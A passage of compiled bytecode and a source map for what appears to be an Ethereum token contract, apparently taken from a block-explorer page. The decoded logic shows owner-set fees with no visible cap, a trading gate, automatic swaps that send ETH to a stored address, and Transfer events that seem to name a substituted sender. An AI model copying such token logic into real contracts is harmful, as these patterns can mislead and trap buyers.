50506040513d601f19601f820116820180604052508101906108a69190611961565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610906573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092a9190611961565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b815260040161096892919061198c565b602060405180830381865afa158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a79190611961565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760156101000a81548160ff021916908315150217905550505050565b5f8054610a1590611703565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4190611703565b8015610a8c5780601f10610a6357610100808354040283529160200191610a8c565b820191905f5260205f20905b815481529060010190602001808311610a6f57829003601f168201915b505050505081565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610abe61131b565b9050600760159054906101000a900460ff1680610b0657508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610b3c57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610b44575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b90919061191a565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c005750600760149054906101000a900460ff16155b8015610c70575060646012600a610c17919061188f565b620f4240610c2591906118d9565b610c2f91906119e0565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610ca857508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3b576001600760146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610ce457610ce3611a10565b5b604051908082528060200260200182016040528015610d125781602001602082028036833780820191505090505b50905030815f81518110610d2957610d28611a3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de49190611961565b81600181518110610df857610df7611a3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610e72919061188f565b620f4240610e8091906118d9565b610e8a91906119e0565b5f8430426040518663ffffffff1660e01b8152600401610eae959493929190611b63565b5f604051808303815f87803b158015610ec5575f80fd5b505af1158015610ed7573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f1e573d5f803e3d5ffd5b505f600760146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb4575060011515600760159054906101000a900460ff161515145b15611095575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146110165783611018565b825b60ff168761102691906118d9565b61103091906119e0565b9050808661103e919061191a565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108c9190611bbb565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e19190611bbb565b9250508190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111c7578573ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111ba9190611524565b60405180910390a361130d565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a65760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112999190611524565b60405180910390a361130c565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113039190611524565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113c582611383565b6113cf818561138d565b93506113df81856020860161139d565b6113e8816113ab565b840191505092915050565b5f6020820190508181035f83015261140b81846113bb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61144082611417565b9050919050565b61145081611436565b811461145a575f80fd5b50565b5f8135905061146b81611447565b92915050565b5f819050919050565b61148381611471565b811461148d575f80fd5b50565b5f8135905061149e8161147a565b92915050565b5f80604083850312156114ba576114b9611413565b5b5f6114c78582860161145d565b92505060206114d885828601611490565b9150509250929050565b5f8115159050919050565b6114f6816114e2565b82525050565b5f60208201905061150f5f8301846114ed565b92915050565b61151e81611471565b82525050565b5f6020820190506115375f830184611515565b92915050565b5f805f6060848603121561155457611553611413565b5b5f6115618682870161145d565b93505060206115728682870161145d565b925050604061158386828701611490565b9150509250925092565b5f60ff82169050919050565b6115a28161158d565b82525050565b5f6020820190506115bb5f830184611599565b92915050565b6115ca8161158d565b81146115d4575f80fd5b50565b5f813590506115e5816115c1565b92915050565b5f806040838503121561160157611600611413565b5b5f61160e858286016115d7565b925050602061161f858286016115d7565b9150509250929050565b61163281611436565b82525050565b5f60608201905061164b5f830186611629565b6116586020830185611599565b6116656040830184611599565b949350505050565b5f6020828403121561168257611681611413565b5b5f61168f8482850161145d565b91505092915050565b5f80604083850312156116ae576116ad611413565b5b5f6116bb8582860161145d565b92505060206116cc8582860161145d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061171a57607f821691505b60208210810361172d5761172c6116d6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117b55780860481111561179157611790611733565b5b60018516156117a05780820291505b80810290506117ae85611760565b9450611775565b94509492505050565b5f826117cd5760019050611888565b816117da575f9050611888565b81600181146117f057600281146117fa57611829565b6001915050611888565b60ff84111561180c5761180b611733565b5b8360020a91508482111561182357611822611733565b5b50611888565b5060208310610133831016604e8410600b841016171561185e5782820a90508381111561185957611858611733565b5b611888565b61186b848484600161176c565b9250905081840481111561188257611881611733565b5b81810290505b9392505050565b5f61189982611471565b91506118a48361158d565b92506118d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117be565b905092915050565b5f6118e382611471565b91506118ee83611471565b92508282026118fc81611471565b9150828204841483151761191357611912611733565b5b5092915050565b5f61192482611471565b915061192f83611471565b925082820390508181111561194757611946611733565b5b92915050565b5f8151905061195b81611447565b92915050565b5f6020828403121561197657611975611413565b5b5f6119838482850161194d565b91505092915050565b5f60408201905061199f5f830185611629565b6119ac6020830184611629565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119ea82611471565b91506119f583611471565b925082611a0557611a046119b3565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611a96611a91611a8c84611a6a565b611a73565b611471565b9050919050565b611aa681611a7c565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ade81611436565b82525050565b5f611aef8383611ad5565b60208301905092915050565b5f602082019050919050565b5f611b1182611aac565b611b1b8185611ab6565b9350611b2683611ac6565b805f5b83811015611b56578151611b3d8882611ae4565b9750611b4883611afb565b925050600181019050611b29565b5085935050505092915050565b5f60a082019050611b765f830188611515565b611b836020830187611a9d565b8181036040830152611b958186611b07565b9050611ba46060830185611629565b611bb16080830184611515565b9695505050505050565b5f611bc582611471565b9150611bd083611471565b9250828201905080821115611be857611be7611733565b5b9291505056fea26469706673582212202ca3d43b4be72a1fcabd4b9a9caf0c5e1d195bd015dab0ddb8a2b7fe646cfd0164736f6c63430008190033

Deployed Bytecode Sourcemap

211:5042:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3230:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2878:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;351:64;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2647:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;309:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1903:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;520:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;833:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3329:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3093:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;273:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2285:354;;;;;;;;;;;;;:::i;:::-;;236:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;884:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3230:91;3275:13;3308:5;3301:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3230:91;:::o;2878:207::-;2946:4;2996:6;2963:9;:21;2973:10;2963:21;;;;;;;;;;;;;;;:30;2985:7;2963:30;;;;;;;;;;;;;;;:39;;;;3039:7;3018:37;;3027:10;3018:37;;;3048:6;3018:37;;;;;;:::i;:::-;;;;;;;;3073:4;3066:11;;2878:207;;;;:::o;351:64::-;342:2;401;:14;;;;:::i;:::-;389:9;:26;;;;:::i;:::-;351:64;:::o;2647:223::-;2763:4;2811:6;2780:9;:15;2790:4;2780:15;;;;;;;;;;;;;;;:27;2796:10;2780:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;2835:27;2845:4;2851:2;2855:6;2835:9;:27::i;:::-;2828:34;;2647:223;;;;;:::o;309:35::-;342:2;309:35;:::o;1903:143::-;1977:8;:6;:8::i;:::-;1963:22;;:10;:22;;;1959:48;;1994:13;;;;;;;;;;;;;;1959:48;2018:20;2031:2;2035;2018:12;:20::i;:::-;1903:143;;:::o;520:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;833:44::-;;;;;;;;;;;;;;;;;:::o;3329:95::-;3376:13;3409:7;3402:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3329:95;:::o;3093:129::-;3157:4;3181:33;3191:10;3203:2;3207:6;3181:9;:33::i;:::-;3174:40;;3093:129;;;;:::o;273:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2285:354::-;2350:8;:6;:8::i;:::-;2336:22;;:10;:22;;;2328:31;;;;;;2379:11;;;;;;;;;;;2378:12;2370:21;;;;;;2402:16;1091:42;2421:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2402:45;;2458:13;1091:42;2474:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2458:39;;2508:13;2540:8;2524:33;;;2566:4;2573:5;2524:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2508:71;;2597:5;2590:4;;:12;;;;;;;;;;;;;;;;;;2627:4;2613:11;;:18;;;;;;;;;;;;;;;;;;2317:322;;;2285:354::o;236:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;884:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3581:1669::-;3694:4;3711:16;3730:8;:6;:8::i;:::-;3711:27;;3757:11;;;;;;;;;;;:31;;;;3780:8;3772:16;;:4;:16;;;3757:31;:49;;;;3798:8;3792:14;;:2;:14;;;3757:49;3749:58;;;;;;3839:6;3820:9;:15;3830:4;3820:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3882:4;;;;;;;;;;;3876:10;;:2;:10;;;:36;;;;;3904:8;;;;;;;;;;;3903:9;3876:36;:91;;;;;597:3;342:2;401;:14;;;;:::i;:::-;389:9;:26;;;;:::i;:::-;583:17;;;;:::i;:::-;3929:9;:24;3947:4;3929:24;;;;;;;;;;;;;;;;:38;;3876:91;:124;;;;;3992:8;3984:16;;:4;:16;;;;3876:124;3858:712;;;4038:4;4027:8;;:15;;;;;;;;;;;;;;;;;;4057:21;4095:1;4081:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4057:40;;4130:4;4112;4117:1;4112:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;1091:42;4160:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4150:4;4155:1;4150:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;1091:42;4198:88;;;597:3;342:2;401;:14;;;;:::i;:::-;389:9;:26;;;;:::i;:::-;583:17;;;;:::i;:::-;4342:1;4366:4;4401;4429:15;4198:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4486:8;4478:26;;:49;4505:21;4478:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4553:5;4542:8;;:16;;;;;;;;;;;;;;;;;;4012:558;3858:712;4583:13;4598:14;4617:9;:11;;;;;;;;;;;;4630:9;:11;;;;;;;;;;;;4582:60;;;;4673:4;4657:21;;:4;:21;;;;:44;;;;;4697:4;4682:19;;:11;;;;;;;;;;;:19;;;4657:44;4653:280;;;4718:27;4812:3;4782:4;;;;;;;;;;;4776:10;;:2;:10;;;:31;;4800:7;4776:31;;;4789:8;4776:31;4749:59;;:6;:59;;;;:::i;:::-;4748:67;;;;:::i;:::-;4718:97;;4840:19;4830:29;;;;;:::i;:::-;;;4902:19;4874:9;:24;4892:4;4874:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;4703:230;4653:280;4960:6;4943:9;:13;4953:2;4943:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4991:9;;;;;;;;;;;4983:17;;:4;:17;;;4979:242;;5042:2;5022:31;;5031:9;;;;;;;;;;;5022:31;;;5046:6;5022:31;;;;;;:::i;:::-;;;;;;;;4979:242;;;5081:9;;;;;;;;;;;5075:15;;:2;:15;;;5071:150;;5127:9;;;;;;;;;;;5112:33;;5121:4;5112:33;;;5138:6;5112:33;;;;;;:::i;:::-;;;;;;;;5071:150;;;5198:2;5183:26;;5192:4;5183:26;;;5202:6;5183:26;;;;;;:::i;:::-;;;;;;;;5071:150;4979:242;5238:4;5231:11;;;;;3581:1669;;;;;:::o;2184:93::-;2224:7;2251:9;:18;;;;;;;;;;;;2244:25;;2184:93;:::o;2054:122::-;2134:4;2120:9;:11;;;:18;;;;;;;;;;;;;;;;;;2163:5;2149:9;:11;;;:19;;;;;;;;;;;;;;;;;;2054:122;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4817:22;4833:5;4817:22;:::i;:::-;4810:5;4807:33;4797:61;;4854:1;4851;4844:12;4797:61;4746:118;:::o;4870:135::-;4914:5;4952:6;4939:20;4930:29;;4968:31;4993:5;4968:31;:::i;:::-;4870:135;;;;:::o;5011:466::-;5075:6;5083;5132:2;5120:9;5111:7;5107:23;5103:32;5100:119;;;5138:79;;:::i;:::-;5100:119;5258:1;5283:51;5326:7;5317:6;5306:9;5302:22;5283:51;:::i;:::-;5273:61;;5229:115;5383:2;5409:51;5452:7;5443:6;5432:9;5428:22;5409:51;:::i;:::-;5399:61;;5354:116;5011:466;;;;;:::o;5483:118::-;5570:24;5588:5;5570:24;:::i;:::-;5565:3;5558:37;5483:118;;:::o;5607:426::-;5748:4;5786:2;5775:9;5771:18;5763:26;;5799:71;5867:1;5856:9;5852:17;5843:6;5799:71;:::i;:::-;5880:68;5944:2;5933:9;5929:18;5920:6;5880:68;:::i;:::-;5958;6022:2;6011:9;6007:18;5998:6;5958:68;:::i;:::-;5607:426;;;;;;:::o;6039:329::-;6098:6;6147:2;6135:9;6126:7;6122:23;6118:32;6115:119;;;6153:79;;:::i;:::-;6115:119;6273:1;6298:53;6343:7;6334:6;6323:9;6319:22;6298:53;:::i;:::-;6288:63;;6244:117;6039:329;;;;:::o;6374:474::-;6442:6;6450;6499:2;6487:9;6478:7;6474:23;6470:32;6467:119;;;6505:79;;:::i;:::-;6467:119;6625:1;6650:53;6695:7;6686:6;6675:9;6671:22;6650:53;:::i;:::-;6640:63;;6596:117;6752:2;6778:53;6823:7;6814:6;6803:9;6799:22;6778:53;:::i;:::-;6768:63;;6723:118;6374:474;;;;;:::o;6854:180::-;6902:77;6899:1;6892:88;6999:4;6996:1;6989:15;7023:4;7020:1;7013:15;7040:320;7084:6;7121:1;7115:4;7111:12;7101:22;;7168:1;7162:4;7158:12;7189:18;7179:81;;7245:4;7237:6;7233:17;7223:27;;7179:81;7307:2;7299:6;7296:14;7276:18;7273:38;7270:84;;7326:18;;:::i;:::-;7270:84;7091:269;7040:320;;;:::o;7366:180::-;7414:77;7411:1;7404:88;7511:4;7508:1;7501:15;7535:4;7532:1;7525:15;7552:102;7594:8;7641:5;7638:1;7634:13;7613:34;;7552:102;;;:::o;7660:848::-;7721:5;7728:4;7752:6;7743:15;;7776:5;7767:14;;7790:712;7811:1;7801:8;7798:15;7790:712;;;7906:4;7901:3;7897:14;7891:4;7888:24;7885:50;;;7915:18;;:::i;:::-;7885:50;7965:1;7955:8;7951:16;7948:451;;;8380:4;8373:5;8369:16;8360:25;;7948:451;8430:4;8424;8420:15;8412:23;;8460:32;8483:8;8460:32;:::i;:::-;8448:44;;7790:712;;;7660:848;;;;;;;:::o;8514:1073::-;8568:5;8759:8;8749:40;;8780:1;8771:10;;8782:5;;8749:40;8808:4;8798:36;;8825:1;8816:10;;8827:5;;8798:36;8894:4;8942:1;8937:27;;;;8978:1;8973:191;;;;8887:277;;8937:27;8955:1;8946:10;;8957:5;;;8973:191;9018:3;9008:8;9005:17;9002:43;;;9025:18;;:::i;:::-;9002:43;9074:8;9071:1;9067:16;9058:25;;9109:3;9102:5;9099:14;9096:40;;;9116:18;;:::i;:::-;9096:40;9149:5;;;8887:277;;9273:2;9263:8;9260:16;9254:3;9248:4;9245:13;9241:36;9223:2;9213:8;9210:16;9205:2;9199:4;9196:12;9192:35;9176:111;9173:246;;;9329:8;9323:4;9319:19;9310:28;;9364:3;9357:5;9354:14;9351:40;;;9371:18;;:::i;:::-;9351:40;9404:5;;9173:246;9444:42;9482:3;9472:8;9466:4;9463:1;9444:42;:::i;:::-;9429:57;;;;9518:4;9513:3;9509:14;9502:5;9499:25;9496:51;;;9527:18;;:::i;:::-;9496:51;9576:4;9569:5;9565:16;9556:25;;8514:1073;;;;;;:::o;9593:281::-;9651:5;9675:23;9693:4;9675:23;:::i;:::-;9667:31;;9719:25;9735:8;9719:25;:::i;:::-;9707:37;;9763:104;9800:66;9790:8;9784:4;9763:104;:::i;:::-;9754:113;;9593:281;;;;:::o;9880:410::-;9920:7;9943:20;9961:1;9943:20;:::i;:::-;9938:25;;9977:20;9995:1;9977:20;:::i;:::-;9972:25;;10032:1;10029;10025:9;10054:30;10072:11;10054:30;:::i;:::-;10043:41;;10233:1;10224:7;10220:15;10217:1;10214:22;10194:1;10187:9;10167:83;10144:139;;10263:18;;:::i;:::-;10144:139;9928:362;9880:410;;;;:::o;10296:194::-;10336:4;10356:20;10374:1;10356:20;:::i;:::-;10351:25;;10390:20;10408:1;10390:20;:::i;:::-;10385:25;;10434:1;10431;10427:9;10419:17;;10458:1;10452:4;10449:11;10446:37;;;10463:18;;:::i;:::-;10446:37;10296:194;;;;:::o;10496:143::-;10553:5;10584:6;10578:13;10569:22;;10600:33;10627:5;10600:33;:::i;:::-;10496:143;;;;:::o;10645:351::-;10715:6;10764:2;10752:9;10743:7;10739:23;10735:32;10732:119;;;10770:79;;:::i;:::-;10732:119;10890:1;10915:64;10971:7;10962:6;10951:9;10947:22;10915:64;:::i;:::-;10905:74;;10861:128;10645:351;;;;:::o;11002:332::-;11123:4;11161:2;11150:9;11146:18;11138:26;;11174:71;11242:1;11231:9;11227:17;11218:6;11174:71;:::i;:::-;11255:72;11323:2;11312:9;11308:18;11299:6;11255:72;:::i;:::-;11002:332;;;;;:::o;11340:180::-;11388:77;11385:1;11378:88;11485:4;11482:1;11475:15;11509:4;11506:1;11499:15;11526:185;11566:1;11583:20;11601:1;11583:20;:::i;:::-;11578:25;;11617:20;11635:1;11617:20;:::i;:::-;11612:25;;11656:1;11646:35;;11661:18;;:::i;:::-;11646:35;11703:1;11700;11696:9;11691:14;;11526:185;;;;:::o;11717:180::-;11765:77;11762:1;11755:88;11862:4;11859:1;11852:15;11886:4;11883:1;11876:15;11903:180;11951:77;11948:1;11941:88;12048:4;12045:1;12038:15;12072:4;12069:1;12062:15;12089:85;12134:7;12163:5;12152:16;;12089:85;;;:::o;12180:60::-;12208:3;12229:5;12222:12;;12180:60;;;:::o;12246:158::-;12304:9;12337:61;12355:42;12364:32;12390:5;12364:32;:::i;:::-;12355:42;:::i;:::-;12337:61;:::i;:::-;12324:74;;12246:158;;;:::o;12410:147::-;12505:45;12544:5;12505:45;:::i;:::-;12500:3;12493:58;12410:147;;:::o;12563:114::-;12630:6;12664:5;12658:12;12648:22;;12563:114;;;:::o;12683:184::-;12782:11;12816:6;12811:3;12804:19;12856:4;12851:3;12847:14;12832:29;;12683:184;;;;:::o;12873:132::-;12940:4;12963:3;12955:11;;12993:4;12988:3;12984:14;12976:22;;12873:132;;;:::o;13011:108::-;13088:24;13106:5;13088:24;:::i;:::-;13083:3;13076:37;13011:108;;:::o;13125:179::-;13194:10;13215:46;13257:3;13249:6;13215:46;:::i;:::-;13293:4;13288:3;13284:14;13270:28;;13125:179;;;;:::o;13310:113::-;13380:4;13412;13407:3;13403:14;13395:22;;13310:113;;;:::o;13459:732::-;13578:3;13607:54;13655:5;13607:54;:::i;:::-;13677:86;13756:6;13751:3;13677:86;:::i;:::-;13670:93;;13787:56;13837:5;13787:56;:::i;:::-;13866:7;13897:1;13882:284;13907:6;13904:1;13901:13;13882:284;;;13983:6;13977:13;14010:63;14069:3;14054:13;14010:63;:::i;:::-;14003:70;;14096:60;14149:6;14096:60;:::i;:::-;14086:70;;13942:224;13929:1;13926;13922:9;13917:14;;13882:284;;;13886:14;14182:3;14175:10;;13583:608;;;13459:732;;;;:::o;14197:831::-;14460:4;14498:3;14487:9;14483:19;14475:27;;14512:71;14580:1;14569:9;14565:17;14556:6;14512:71;:::i;:::-;14593:80;14669:2;14658:9;14654:18;14645:6;14593:80;:::i;:::-;14720:9;14714:4;14710:20;14705:2;14694:9;14690:18;14683:48;14748:108;14851:4;14842:6;14748:108;:::i;:::-;14740:116;;14866:72;14934:2;14923:9;14919:18;14910:6;14866:72;:::i;:::-;14948:73;15016:3;15005:9;15001:19;14992:6;14948:73;:::i;:::-;14197:831;;;;;;;;:::o;15034:191::-;15074:3;15093:20;15111:1;15093:20;:::i;:::-;15088:25;;15127:20;15145:1;15127:20;:::i;:::-;15122:25;;15170:1;15167;15163:9;15156:16;;15191:3;15188:1;15185:10;15182:36;;;15198:18;;:::i;:::-;15182:36;15034:191;;;;:::o

Swarm Source

